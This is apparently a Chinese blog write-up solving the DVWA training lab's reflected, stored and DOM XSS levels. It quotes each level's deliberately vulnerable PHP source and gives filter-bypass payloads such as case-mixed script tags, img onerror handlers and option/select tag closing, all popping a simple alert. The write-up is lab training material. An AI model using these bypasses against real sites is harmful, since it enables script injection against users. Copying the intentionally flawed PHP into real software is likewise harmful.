dvwa xss通关

反射型XSS通关

low难度

选择难度:

直接用下面JS代码尝试:

复制代码
<script>alert(/xss/)</script>

通关成功:

medium难度

直接下面代码尝试后失败

复制代码
<script>alert(/xss/)</script>

发现这段代码直接被输出:

尝试修改<script>标签的字母大小写,做大小写绕过:

复制代码
<scRipt>alert(/xss/)</scRipt>

通关成功:

high难度

查看源码,做代码审计:

复制代码
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
	// Get input
	$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

	// Feedback for end user
	$html .= "<pre>Hello ${name}</pre>";
}

?>

发现源码中用preg_replace函数和正则过滤了任意script字符,并且防大小写,这时候可以用onerror事件,由于引用的链接是错误的,所以onerror事件会返回错误信息alert(/xss/)>,并加载一个错误的图片:

复制代码
<img src = 1 onerror=alert(/xss/)>

通关成功:

存储型XSS通关

low难度

直接用下面代码尝试

复制代码
<script>alert(/xss/)</script>

如图:

通关成功:

medium难度

查看源码,做代码审计:

复制代码
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
	// Get input
	$message = trim( $_POST[ 'mtxMessage' ] );
	$name    = trim( $_POST[ 'txtName' ] );

	// Sanitize message input
	$message = strip_tags( addslashes( $message ) );
	$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
	$message = htmlspecialchars( $message );

	// Sanitize name input
	$name = str_replace( '<script>', '', $name );
	$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	// Update database
	$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

	//mysql_close();
}

?>

trim() 方法用于删除字符串的头尾空白符

strip_tags() 函数剥去字符串中的 HTML 标签

htmlspecialchars()函数将><单引号双引号做HTML实体化

发现

复制代码
$message = trim( $_POST[ 'mtxMessage' ] );

$message = strip_tags( addslashes( $message ) );

$message = htmlspecialchars( $message );

复制代码
$name = trim( $_POST[ 'txtName' ] );

$name = str_replace( '<script>', '', $name );

对message删除空格、剥离HTML标签并把特殊字符实体化(message输入框不能注入),对name删除空格和替换<scrip>为空,但没有过滤大小写,可以在name中做代码的大小写绕过:

复制代码
<scRipt>alert(/xss/)</scRipt>

由于name的字符长度有限制,可以在源码中进行修改:

通关成功:

high难度

查看源码

复制代码
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
	// Get input
	$message = trim( $_POST[ 'mtxMessage' ] );
	$name    = trim( $_POST[ 'txtName' ] );

	// Sanitize message input
	$message = strip_tags( addslashes( $message ) );
	$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
	$message = htmlspecialchars( $message );

	// Sanitize name input
	$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
	$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

	// Update database
	$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
	$result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

	//mysql_close();
}

?>

发现这一关比上一关多了对name的正则匹配过滤大小写和script任意字符:

复制代码
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );

用onerror事件即可:

复制代码
<img src = 1 onerror=alert(/xss/)>

通关成功:

DOM型XSS通关

low难度

打开后发现没有输入框,只有一个选择语言的选项:

打开hackbar,在URL中输入

复制代码
<script>alert(/xss/)</script>

通关成功:

medium难度

查看源代码,做代码审计:

复制代码
<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
	$default = $_GET['default'];
	
	# Do not allow script tags
	if (stripos ($default, "<script") !== false) {
		header ("location: ?default=English");
		exit;
	}
}

?>

stripos函数:查找 双引号中的字符在字符串中第一次出现的位置

发现这关对script标签有一个过滤,所以不用script标签

尝试输入

复制代码
<img src = 1 onerror=alert(/xss/)>

并查看页面的前端代码,发现它输出中有一个标签闭合,还有一个</select>标签:

我们需要让<option标签提前闭合,并加一个<select标签才能输出我们需要的代码并出现弹窗:

复制代码
/option><select><img src = 1 onerror=alert(/xss/)>

通过成功:

high难度

查看源代码:

复制代码
<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

	# White list the allowable languages
	switch ($_GET['default']) {
		case "French":
		case "English":
		case "German":
		case "Spanish":
			# ok
			break;
		default:
			header ("location: ?default=English");
			exit;
	}
}

?>

array_key_exists:查找键名(数组元素名)是否存在数组中

is_null函数:用于检测变量是否为 NULL

这段代码中的if语句将所有输入的字符全部过滤,这时候只要将语句注释,让后端代码接收即可:

复制代码
#<script>alert(/xss/)</script>

通关成功:

相关推荐
CHU72903517 分钟前
生鲜商城小程序前端功能版块:适配生鲜采购核心需求
前端·小程序
huangyiyi6666631 分钟前
Vue + TS 项目文件结构
前端·javascript·vue.js
0思必得01 小时前
[Web自动化] Selenium处理Cookie
前端·爬虫·python·selenium·自动化
徐同保1 小时前
react-markdown使用
前端·react.js·前端框架
2601_949857431 小时前
Flutter for OpenHarmony Web开发助手App实战:CSS参考
前端·css·flutter
无法长大1 小时前
如何判断项目需不需要用、能不能用Tailwind CSS
前端·css·vue.js·elementui·vue3·tailwind css
橙露1 小时前
移动端前端适配:Rem、VW/VH 与媒体查询的综合应用指南
前端·媒体
GGGG寄了1 小时前
CSS——CSS引入方式+选择器类型
前端·css·html
墨染青竹梦悠然1 小时前
基于Django+vue的图书借阅管理系统
前端·vue.js·后端·python·django·毕业设计·毕设
码农六六1 小时前
js函数柯里化
开发语言·前端·javascript